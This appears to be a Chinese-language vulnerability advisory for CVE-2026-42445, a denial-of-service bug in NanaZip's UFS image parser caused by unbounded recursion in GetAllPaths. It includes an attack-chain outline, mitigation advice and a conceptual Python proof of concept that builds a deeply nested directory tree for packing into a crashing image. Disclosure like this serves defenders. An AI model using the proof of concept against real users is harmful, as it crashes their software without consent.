IPBUF安全漏洞报告
English
CVE-2026-42445 CVSS 3.3 低危

CVE-2026-42445 NanaZip递归漏洞致拒绝服务

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-42445
漏洞类型
拒绝服务
CVSS评分
3.3 低危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
NanaZip

相关标签

拒绝服务NanaZip递归漏洞栈溢出本地漏洞

漏洞概述

NanaZip是一款开源文件归档工具。在版本5.0.1252.0至6.0.1698.0之前,其UFS/UFS2文件系统镜像解析器存在未控制递归漏洞。GetAllPaths函数在递归子目录时缺乏深度限制和inode跟踪机制。攻击者可利用特制的深度目录树或包含inode循环的UFS镜像,导致堆栈耗尽并使NanaZip进程崩溃。该漏洞已在6.0.1698.0版本修复。

技术细节

该漏洞源于NanaZip解析UFS/UFS2文件系统镜像时的逻辑缺陷。具体而言,`GetAllPaths`函数在遍历目录树时没有设置递归深度限制,也未实现已访问inode的跟踪机制。攻击者可以构建一个包含极深目录结构或存在inode循环引用的恶意UFS镜像文件。当用户使用受影响的NanaZip版本打开或解析此文件时,程序会陷入无限或极深的递归调用,迅速消耗调用栈内存,最终导致栈溢出和进程崩溃,造成拒绝服务。

攻击链分析

STEP 1
步骤1:构造恶意文件
攻击者构建一个包含极深目录树或inode循环引用的特制UFS镜像文件。
STEP 2
步骤2:诱导用户
攻击者通过本地访问或社会工程学手段,诱导受害者使用NanaZip打开该恶意镜像文件。
STEP 3
步骤3:触发解析
用户打开文件,NanaZip调用UFS解析器中的GetAllPaths函数进行解析。
STEP 4
步骤4:未控递归
由于缺乏深度限制,GetAllPaths函数进入深度递归状态,大量消耗系统栈空间。
STEP 5
步骤5:拒绝服务
调用栈资源耗尽导致栈溢出,NanaZip进程崩溃,服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-42445 (Conceptual) # This script demonstrates how to create a deep directory structure # that would trigger the uncontrolled recursion if packed into a UFS image. import os def create_deep_directory(base_path, depth): """ Recursively creates a deep directory structure. In the actual exploit, this structure exists within a crafted UFS image. """ if depth <= 0: # Create a file to mark the end with open(os.path.join(base_path, 'payload.txt'), 'w') as f: f.write('CVE-2026-42445 Trigger') return current_dir = os.path.join(base_path, f'level_{depth}') try: os.makedirs(current_dir) print(f"Created directory: {current_dir}") create_deep_directory(current_dir, depth - 1) except OSError as e: print(f"Error: {e}") if __name__ == "__main__": # Depth sufficient to cause stack exhaustion in vulnerable parsers # NanaZip default stack size may vary, but deep recursion is the key. target_depth = 2000 output_dir = "./ufs_poc_structure" if not os.path.exists(output_dir): os.makedirs(output_dir) print(f"Generating directory structure with depth {target_depth}...") create_deep_directory(output_dir, target_depth) print("Done. To exploit, pack this structure into a UFS filesystem image and open with NanaZip.")

影响范围

NanaZip >= 5.0.1252.0, < 6.0.1698.0

防御指南

临时缓解措施
建议用户避免打开未知来源的UFS文件系统镜像,并及时更新软件至官方修复版本以消除风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表